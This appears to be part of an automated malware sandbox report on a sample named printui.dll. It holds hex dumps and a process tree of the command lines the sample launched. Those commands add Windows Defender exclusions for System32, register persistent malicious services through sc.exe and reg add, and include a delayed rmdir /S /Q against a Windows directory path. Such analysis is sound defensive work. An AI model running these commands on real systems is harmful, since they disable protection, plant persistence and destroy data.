2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 00 00 e8 79 11 02 00 48 8b f0 48 89 45 67 48 8b 4b 08 48 85 c9 74 0f 48 8b 59 28 48 85 db 75 0d 48 8d 59 30 eb 07 48 8d 1d 48 3a 06 00 33 d2 48 8d 4d a7 e8 58 f2 01 00 90 4c 89 75 af c6 45 b7 00 4c 89 75 bf c6 45 c7 00 4c 89 75 cf 66 44 89 75 d7 4c 89 75 df 66 44 89 75 e7 4c 89 75 ef c6 45 f7 00 4c 89 75 ff c6 45 07 00 48 85 db 0f 84 fa 00 00 00 48 8b d3 48 8d 4d a7 e8 a4 f9 01 00 90 44 89 76 08 48 8d 05 5c ac 05 00 48 89 06 48 8d 4d 0f e8 80 05 02 00 0f 10 00 0f 10 48 10 0f 11 46 10 0f 11 4e 20 48 8d 4d 0f e8 a0 08 02 00 0f 10 08 0f 10 50 10 f2 0f 10 40 20 8b 48 28 0f 11 4e 30 0f 11 56 40 f2 0f 11 46 50 89 4e 58 48 89 37 48 8d 4d a7 e8 b5 f9 01 00 48 8b 4d ff 48 85 c9 74 05 e8 ef 7d 02 00 4c 89 75 ff 48 8b 4d ef 48 85 c9 74 05 e8 dd 7d 02 00 4c 89 75 ef Data Ascii: yHHEgHKHtHY(HuHY0HH:3HMXLuELuELufDuLufDuLuELuEHHHMDvH\HHMHFN HMP@ H(N0V@FPNXH7HMHMHt}LuHMHt}Lu
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 40 48 8b ac 24 80 00 00 00 48 8b c3 48 8b 4c 24 30 48 33 cc e8 dd 0b 02 00 48 83 c4 48 41 5e 5f 5e 5b c3 cc cc cc 48 89 5c 24 08 57 48 83 ec 20 83 79 20 00 48 8d 05 4b a7 05 00 48 89 01 8b fa 48 8b d9 74 09 48 8b 49 18 e8 28 79 02 00 48 8b 4b 28 e8 1f 79 02 00 48 8d 05 d8 c4 03 00 48 89 03 40 f6 c7 01 74 0d ba 60 00 00 00 48 8b cb e8 a2 0b 02 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 cc cc cc cc 40 53 48 81 ec a0 00 00 00 0f 29 b4 24 90 00 00 00 48 8b d9 48 89 4c 24 20 41 0f 10 30 0f 57 c0 0f 11 44 24 30 0f 57 c9 f3 0f 7f 4c 24 40 49 c7 c0 ff ff ff ff 49 ff c0 42 80 3c 02 00 75 f6 48 8d 4c 24 30 e8 e7 be 00 00 90 48 8d 54 24 30 48 8d 4c 24 70 e8 87 82 00 00 66 0f 7f 74 24 20 4c 8b c0 48 8d 54 24 20 48 8d 4c 24 50 e8 1f ec ff ff 48 8b d0 48 8b cb e8 44 Data Ascii: @H$HHL$0H3HHA^_^[H\$WH y HKHHtHI(yHK(yHH@t`HHH\$0H _@SH)$HHL$ A0WD$0WL$@IIB<uHL$0HT$0HL$pft$ LHT$ HL$PHHD
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 40 c1 e9 12 83 c1 19 f7 e1 d1 ea 83 ea 01 89 54 24 34 0f 88 fc 01 00 00 45 2b d9 44 89 4c 24 38 41 83 eb 78 4c 89 44 24 40 49 8b d8 44 89 5c 24 28 48 c1 e3 08 48 8d 3d 78 d3 ff ff 42 0f b7 8c 57 a0 bf e6 00 8d 04 d2 03 ca 48 89 5c 24 60 89 4c 24 3c 89 44 24 30 48 63 c1 48 bd 97 a5 b4 36 41 5f 70 89 4c 8d 14 40 4a 8b 84 d7 00 13 04 00 48 f7 e3 4a 8b 84 d7 08 13 04 00 48 8b ca 48 f7 e3 4c 8b c0 4c 8b ca 4a 8b 84 d7 10 13 04 00 49 03 c8 48 f7 e3 49 3b c8 41 8b cb 48 8b f8 49 13 f9 49 b9 31 30 95 f8 88 0a 68 31 48 3b f8 49 8b c1 48 83 d2 00 48 0f ad d7 4c 8b c2 48 f7 e7 49 d3 e8 48 8b c5 48 8b ca 48 f7 e7 4c 8b d0 48 8b da 49 8b c1 49 f7 e0 4c 8b c8 4c 8b da 48 8b c5 49 f7 e0 4d 8d 04 09 4b 8d 0c 10 48 89 54 24 68 49 3b ca 48 83 d0 00 4d 3b c1 49 13 c3 48 03 Data Ascii: @T$4E+DL$8AxLD$@ID\$(HH=xBWH\$`L$<D$0HcH6A_pL@JHJHHLLJIHI;AHII10h1H;IHHLHIHHHLHIILLHIMKHT$hI;HM;IH
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 89 fc ff ff 45 85 c9 75 15 44 8b c5 ba 30 00 00 00 48 8b ce e8 f9 92 03 00 48 03 f5 eb 53 4c 8b c6 41 8b d1 41 8b cb e8 f6 8a 00 00 48 03 f5 eb 40 83 7c 24 50 00 76 26 49 8b c7 41 8d 6b 01 48 2b c6 48 3b c5 0f 8c 42 fc ff ff 4c 8b c6 41 8b d1 41 8b cb e8 a9 f7 ff ff 48 03 f5 eb 13 49 3b f7 0f 84 26 fc ff ff 41 80 c1 30 44 88 0e 48 ff c6 85 ff 74 34 48 8b 54 24 58 48 8b c6 48 3b f2 74 22 0f b6 48 ff 48 ff c8 80 f9 2e 74 11 80 f9 39 0f 85 99 00 00 00 c6 00 30 bf 01 00 00 00 48 3b c2 75 de c6 00 31 ff c3 44 8b c3 49 8b c7 41 f7 d8 44 0f 48 c3 33 c9 41 83 f8 64 0f 9d c1 48 2b c6 48 83 c1 04 48 3b c1 0f 8c be fb ff ff 85 db c6 06 65 b8 2d 00 00 00 4c 8d 0d 72 cd ff ff b9 2b 00 00 00 0f 49 c1 88 46 01 41 83 f8 64 7c 56 b8 67 66 66 66 41 f7 e8 c1 fa 02 8b c2 c1 Data Ascii: EuD0HHSLAAH@\|$Pv&IAkH+H;BLAAHI;&A0DHt4HT$XHH;t"HH.t90H;u1DIADH3AdH+HH;e-Lr+IFAd\|VgfffA
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: 44 8b ca 41 f7 e6 41 c1 e9 03 8b fa c1 ef 03 41 3b f9 76 51 0f 1f 40 00 0f 1f 84 00 00 00 00 00 b8 cd cc cc cc 45 8b d1 41 f7 e0 ff c3 c1 ea 03 0f b6 c2 c0 e0 02 8d 0c 10 b8 cd cc cc cc 02 c9 44 2a c1 45 0f b6 d8 44 8b c2 41 f7 e1 b8 cd cc cc cc 44 8b ca f7 e7 41 c1 e9 03 8b fa c1 ef 03 41 3b f9 77 bb 45 3b c2 e9 24 01 00 00 b8 cd cc cc cc 41 f7 e2 b8 cd cc cc cc 8b fa 41 f7 e6 c1 ef 03 44 8b f2 41 c1 ee 03 44 3b f7 76 6d 66 90 8d 0c bf 41 0f b6 c7 03 c9 44 8b ce 44 3b d1 8b ce 44 8b d7 44 0f 44 c8 45 84 db 40 0f b6 c5 45 0f b6 f9 0f 44 c8 b8 cd cc cc cc 41 f7 e0 0f b6 e9 ff c3 c1 ea 03 0f b6 c2 c0 e0 02 8d 0c 10 b8 cd cc cc cc 02 c9 44 2a c1 45 0f b6 d8 44 8b c2 f7 e7 b8 cd cc cc cc 8b fa 41 f7 e6 c1 ef 03 44 8b f2 41 c1 ee 03 44 3b f7 77 95 45 84 ff 74 Data Ascii: DAAA;vQ@EADEDADAA;wE;$AADAD;vmfADD;DDDE@EDADEDADAD;wEt
2024-09-20 10:14:47 UTC	1378	IN	Data Raw: c2 49 f7 e3 49 c1 e8 06 4c 2b d2 49 d1 ea 4c 03 d2 49 c1 ea 06 4d 3b c2 76 32 48 8b c1 49 8b f0 49 f7 e1 49 8b c9 4d 8b da 48 2b ca bb 02 00 00 00 48 d1 e9 48 03 ca 48 c1 e9 06 6b c1 64 44 2b c8 41 83 f9 32 4c 8b c9 40 0f 93 c5 49 8b c4 48 f7 e6 49 8b c4 4c 8b c2 49 f7 e3 49 c1 e8 03 48 8b ca 48 c1 e9 03 4c 3b c1 76 44 0f 1f 00 49 8b c4 4c 8b d9 49 f7 e1 48 c1 ea 03 8d 04 92 03 c0 44 2b c8 49 8b c4 41 83 f9 05 4c 8b ca 40 0f 93 c5 ff c3 49 f7 e0 49 8b c4 4c 8b c2 48 f7 e1 49 c1 e8 03 48 8b ca 48 c1 e9 03 4c 3b c1 77 bf 4d 3b cb 0f 84 3d 01 00 00 40 84 ed 0f 84 39 01 00 00 e9 2f 01 00 00 49 8b c4 48 f7 e6 49 8b c4 4c 8b f2 49 f7 e3 49 c1 ee 03 48 8b f2 48 c1 ee 03 4c 3b f6 76 72 66 0f 1f 84 00 00 00 00 00 8d 0c b6 49 8b c4 49 f7 e1 03 c9 41 0f b6 c7 48 c1 Data Ascii: IIL+ILIM;v2HIIIMH+HHHkdD+A2L@IHILIIHHL;vDILIHD+IAL@IILHIHHL;wM;=@9/IHILIIHHL;vrfIIAH

Target ID:	0
Start time:	06:13:50
Start date:	20/09/2024
Path:	C:\Windows\System32\loaddll64.exe
Wow64 process (32bit):	false
Commandline:	loaddll64.exe "C:\Users\user\Desktop\printui.dll"
Imagebase:	0x7ff7fee20000
File size:	165'888 bytes
MD5 hash:	763455F9DCB24DFEECC2B9D9F8D46D52
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:13:50
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:13:50
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\printui.dll",#1
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:13:50
Start date:	20/09/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32.exe "C:\Users\user\Desktop\printui.dll",#1
Imagebase:	0x7ff7523e0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:13:50
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:13:52
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	06:13:52
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:13:52
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:13:52
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows \System32';"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	06:14:03
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	06:14:03
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	06:14:03
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	06:14:03
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -command "Add-MpPreference -ExclusionPath 'C:\Windows\System32';"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:14:09
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:14:09
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe create Z295699 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	06:14:09
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	06:14:09
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe create Z422697 binPath="C:\Windows\System32\svchost.exe -k DcomLaunch" type= share start= auto
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:14:11
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:14:11
Start date:	20/09/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SYSTEM\CurrentControlSet\services\Z295699\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z295699.dat /f
Imagebase:	0x7ff7a4b40000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:14:12
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:14:12
Start date:	20/09/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add HKLM\SYSTEM\CurrentControlSet\services\Z422697\Parameters /v ServiceDll /t REG_EXPAND_SZ /d C:\Windows\System32\Z422697.dat /f
Imagebase:	0x7ff7a4b40000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:14:17
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc.exe start Z295699
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	06:14:17
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe start Z295699
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	06:14:17
Start date:	20/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k DcomLaunch -s Z295699
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	06:14:17
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c sc.exe start Z422697
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	06:14:17
Start date:	20/09/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	sc.exe start Z422697
Imagebase:	0x7ff717f10000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	06:14:17
Start date:	20/09/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k DcomLaunch -s Z422697
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	06:14:19
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe"
Imagebase:	0x7ff70f330000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	06:14:19
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	06:14:19
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	06:14:19
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	06:14:24
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	06:14:24
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	06:14:24
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	06:14:25
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c start /B /MIN cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	06:14:25
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /C "timeout /t 10 /nobreak && rmdir /S /Q "\\?\C:\Windows " && exit"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	06:14:25
Start date:	20/09/2024
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	timeout /t 10 /nobreak
Imagebase:	0x7ff7e18f0000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	06:14:57
Start date:	20/09/2024
Path:	C:\Windows\System32\winsvcf\Z369335.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\winsvcf\Z369335.exe"
Imagebase:	0x7ff613160000
File size:	15'187'968 bytes
MD5 hash:	D3A3F2DB2AA3FD494F3E67601087AB23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	06:14:57
Start date:	20/09/2024
Path:	C:\Windows\System32\winsvcf\Z753638.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\winsvcf\Z753638.exe"
Imagebase:	0x7ff7a1410000
File size:	15'187'968 bytes
MD5 hash:	D3A3F2DB2AA3FD494F3E67601087AB23
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 92%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"powershell.exe"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff6d94d0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32'"
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	06:15:00
Start date:	20/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
